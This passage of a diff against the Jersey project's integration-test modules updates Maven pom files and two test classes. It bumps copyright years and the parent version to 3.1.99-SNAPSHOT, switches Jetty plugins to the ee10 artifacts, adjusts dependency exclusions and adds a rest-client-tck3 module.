@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2689</artifactId> @@ -81,7 +81,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> </dependencies> @@ -97,8 +96,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2704/pom.xml b/tests/integration/jersey-2704/pom.xml index 5dc92da..30823d9 100644 --- a/tests/integration/jersey-2704/pom.xml +++ b/tests/integration/jersey-2704/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2704</artifactId> @@ -48,7 +48,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> </dependencies> @@ -64,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2776/pom.xml b/tests/integration/jersey-2776/pom.xml index 82b05bb..afb8694 100644 --- a/tests/integration/jersey-2776/pom.xml +++ b/tests/integration/jersey-2776/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2776</artifactId> @@ -73,8 +73,9 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.mortbay.jetty</groupId> + <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> + <version>${jetty11.version}</version> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2794/pom.xml b/tests/integration/jersey-2794/pom.xml index f35e413..c519c37 100644 --- a/tests/integration/jersey-2794/pom.xml +++ b/tests/integration/jersey-2794/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2794</artifactId> @@ -63,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java b/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java index 80eca2d..ce9ccdc 100644 --- a/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java +++ b/tests/integration/jersey-2794/src/test/java/org/glassfish/jersey/tests/integration/jersey2794/Jersey2794ITCase.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,6 @@ import java.nio.file.FileVisitResult; import java.nio.file.Files; import java.nio.file.Path; -import java.nio.file.Paths; import java.nio.file.SimpleFileVisitor; import java.nio.file.attribute.BasicFileAttributes; import java.util.concurrent.atomic.AtomicInteger; @@ -104,7 +103,7 @@ private int matchingTempFiles(final String tempDir) throws IOException { AtomicInteger count = new AtomicInteger(0); - Files.walkFileTree(Paths.get(tempDir), new SimpleFileVisitor<Path>() { + Files.walkFileTree(Path.of(tempDir), new SimpleFileVisitor<Path>() { @Override public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException { if (file.getFileName().startsWith("MIME") && file.getFileName().endsWith("tmp")) {
diff --git a/tests/integration/jersey-2846/pom.xml b/tests/integration/jersey-2846/pom.xml index 58df897..d07ca08 100644 --- a/tests/integration/jersey-2846/pom.xml +++ b/tests/integration/jersey-2846/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2846</artifactId> @@ -63,8 +63,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java b/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java index 4286aef..6b37da0 100644 --- a/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java +++ b/tests/integration/jersey-2846/src/test/java/org/glassfish/jersey/tests/integration/jersey2846/Jersey2846ITCase.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,7 +20,6 @@ import java.nio.file.FileVisitResult; import java.nio.file.Files; import java.nio.file.Path; -import java.nio.file.Paths; import java.nio.file.SimpleFileVisitor; import java.nio.file.attribute.BasicFileAttributes; import java.util.Arrays; @@ -124,7 +123,7 @@ private int matchingTempFiles(final String tempDir) throws IOException { AtomicInteger count = new AtomicInteger(0); - Files.walkFileTree(Paths.get(tempDir), new SimpleFileVisitor<Path>() { + Files.walkFileTree(Path.of(tempDir), new SimpleFileVisitor<Path>() { @Override public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException { Path name = file.getFileName();
diff --git a/tests/integration/jersey-2878/pom.xml b/tests/integration/jersey-2878/pom.xml index 9811834..b683e2b 100644 --- a/tests/integration/jersey-2878/pom.xml +++ b/tests/integration/jersey-2878/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2878</artifactId> @@ -64,8 +64,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-2892/pom.xml b/tests/integration/jersey-2892/pom.xml index 5137972..11770ed 100644 --- a/tests/integration/jersey-2892/pom.xml +++ b/tests/integration/jersey-2892/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-2892</artifactId> @@ -70,8 +70,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-3662/pom.xml b/tests/integration/jersey-3662/pom.xml index 8b4e3d7..9dc64ca 100644 --- a/tests/integration/jersey-3662/pom.xml +++ b/tests/integration/jersey-3662/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-3670/pom.xml b/tests/integration/jersey-3670/pom.xml index 47891e9..1956955 100644 --- a/tests/integration/jersey-3670/pom.xml +++ b/tests/integration/jersey-3670/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-3670</artifactId>
diff --git a/tests/integration/jersey-3796/pom.xml b/tests/integration/jersey-3796/pom.xml index 009c29e..6999d32 100644 --- a/tests/integration/jersey-3796/pom.xml +++ b/tests/integration/jersey-3796/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2018, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2018, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-3796</artifactId> @@ -47,7 +47,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -76,8 +75,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-3992/pom.xml b/tests/integration/jersey-3992/pom.xml index 3480a73..0f68dba 100644 --- a/tests/integration/jersey-3992/pom.xml +++ b/tests/integration/jersey-3992/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. Copyright (c) 2018 Payara Foundation and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-3992</artifactId>
diff --git a/tests/integration/jersey-4003/pom.xml b/tests/integration/jersey-4003/pom.xml index 732e332..647be9d 100644 --- a/tests/integration/jersey-4003/pom.xml +++ b/tests/integration/jersey-4003/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4099/pom.xml b/tests/integration/jersey-4099/pom.xml index 2d1eb20..5ff4933 100644 --- a/tests/integration/jersey-4099/pom.xml +++ b/tests/integration/jersey-4099/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. Copyright (c) 2019 Christian Kaltepoth. All rights reserved. This program and the accompanying materials are made available under the @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-4099</artifactId> @@ -60,6 +60,18 @@ <dependency> <groupId>org.jboss.weld.se</groupId> <artifactId>weld-se-core</artifactId> + <exclusions> + <exclusion> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + <version>${jboss.logging.version}</version> + <scope>provided</scope> </dependency> <dependency> <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/tests/integration/jersey-4321/pom.xml b/tests/integration/jersey-4321/pom.xml index b991dad..5b7fd16 100644 --- a/tests/integration/jersey-4321/pom.xml +++ b/tests/integration/jersey-4321/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. Copyright (c) 2019 Christian Kaltepoth. All rights reserved. This program and the accompanying materials are made available under the @@ -24,7 +24,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4507/pom.xml b/tests/integration/jersey-4507/pom.xml index dc20389..b0f3676 100644 --- a/tests/integration/jersey-4507/pom.xml +++ b/tests/integration/jersey-4507/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4542/pom.xml b/tests/integration/jersey-4542/pom.xml index d106b98..f938177 100644 --- a/tests/integration/jersey-4542/pom.xml +++ b/tests/integration/jersey-4542/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml b/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml index d773c46..d6b4b48 100644 --- a/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml +++ b/tests/integration/jersey-4542/src/test/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -17,4 +17,9 @@ --> -<beans/> \ No newline at end of file +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> +</beans> \ No newline at end of file
diff --git a/tests/integration/jersey-4697/pom.xml b/tests/integration/jersey-4697/pom.xml index 7672011..881b39a 100644 --- a/tests/integration/jersey-4697/pom.xml +++ b/tests/integration/jersey-4697/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-4722/pom.xml b/tests/integration/jersey-4722/pom.xml index f5b7834..217699b 100644 --- a/tests/integration/jersey-4722/pom.xml +++ b/tests/integration/jersey-4722/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -39,13 +39,11 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>jersey-test-framework-provider-grizzly2</artifactId> - <version>${project.version}</version> <exclusions> <exclusion> <groupId>org.glassfish.jersey.media</groupId>
diff --git a/tests/integration/jersey-4949/pom.xml b/tests/integration/jersey-4949/pom.xml index d36f702..1a9f0cb 100644 --- a/tests/integration/jersey-4949/pom.xml +++ b/tests/integration/jersey-4949/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-4949</artifactId> @@ -60,8 +60,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <scan>10</scan> <webApp>
diff --git a/tests/integration/jersey-5087/pom.xml b/tests/integration/jersey-5087/pom.xml index 139028a..373aa19 100644 --- a/tests/integration/jersey-5087/pom.xml +++ b/tests/integration/jersey-5087/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-5796/pom.xml b/tests/integration/jersey-5796/pom.xml index 8ab2985..45a371c 100644 --- a/tests/integration/jersey-5796/pom.xml +++ b/tests/integration/jersey-5796/pom.xml
@@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml index 9152e17..1d93128 100644 --- a/tests/integration/jersey-780/pom.xml +++ b/tests/integration/jersey-780/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-780</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml index 853a70a..281e36c 100644 --- a/tests/integration/microprofile/config/helidon/pom.xml +++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>microprofile-config-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -71,8 +71,9 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.mortbay.jetty</groupId> + <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> + <version>${jetty11.version}</version> </plugin> </plugins> </build>
diff --git a/tests/integration/microprofile/config/pom.xml b/tests/integration/microprofile/config/pom.xml index 7863a8a..526419d 100644 --- a/tests/integration/microprofile/config/pom.xml +++ b/tests/integration/microprofile/config/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>microprofile-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <packaging>pom</packaging>
diff --git a/tests/integration/microprofile/config/webapp/pom.xml b/tests/integration/microprofile/config/webapp/pom.xml index d7e961f..c162af8 100644 --- a/tests/integration/microprofile/config/webapp/pom.xml +++ b/tests/integration/microprofile/config/webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>microprofile-config-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -57,8 +57,9 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.mortbay.jetty</groupId> + <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-maven-plugin</artifactId> + <version>${jetty11.version}</version> </plugin> </plugins> </build>
diff --git a/tests/integration/microprofile/pom.xml b/tests/integration/microprofile/pom.xml index 07a66be..97a819f 100644 --- a/tests/integration/microprofile/pom.xml +++ b/tests/integration/microprofile/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <packaging>pom</packaging> @@ -34,6 +34,7 @@ <module>config</module> <module>rest-client</module> <module>rest-client-tck</module> + <module>rest-client-tck3</module> </modules> <build>
diff --git a/tests/integration/microprofile/rest-client-tck/pom.xml b/tests/integration/microprofile/rest-client-tck/pom.xml index 13e553c..62c570e 100644 --- a/tests/integration/microprofile/rest-client-tck/pom.xml +++ b/tests/integration/microprofile/rest-client-tck/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>microprofile-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -35,6 +35,24 @@ <artifactId>jersey-mp-rest-client</artifactId> <version>${project.version}</version> <scope>test</scope> + <exclusions> + <exclusion> + <groupId>org.eclipse.microprofile.rest.client</groupId> + <artifactId>microprofile-rest-client-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.microprofile.rest.client</groupId> + <artifactId>microprofile-rest-client-api</artifactId> + <version>${microprofile.rest.client.version}</version> + <scope>test</scope> + </dependency> + <dependency> + 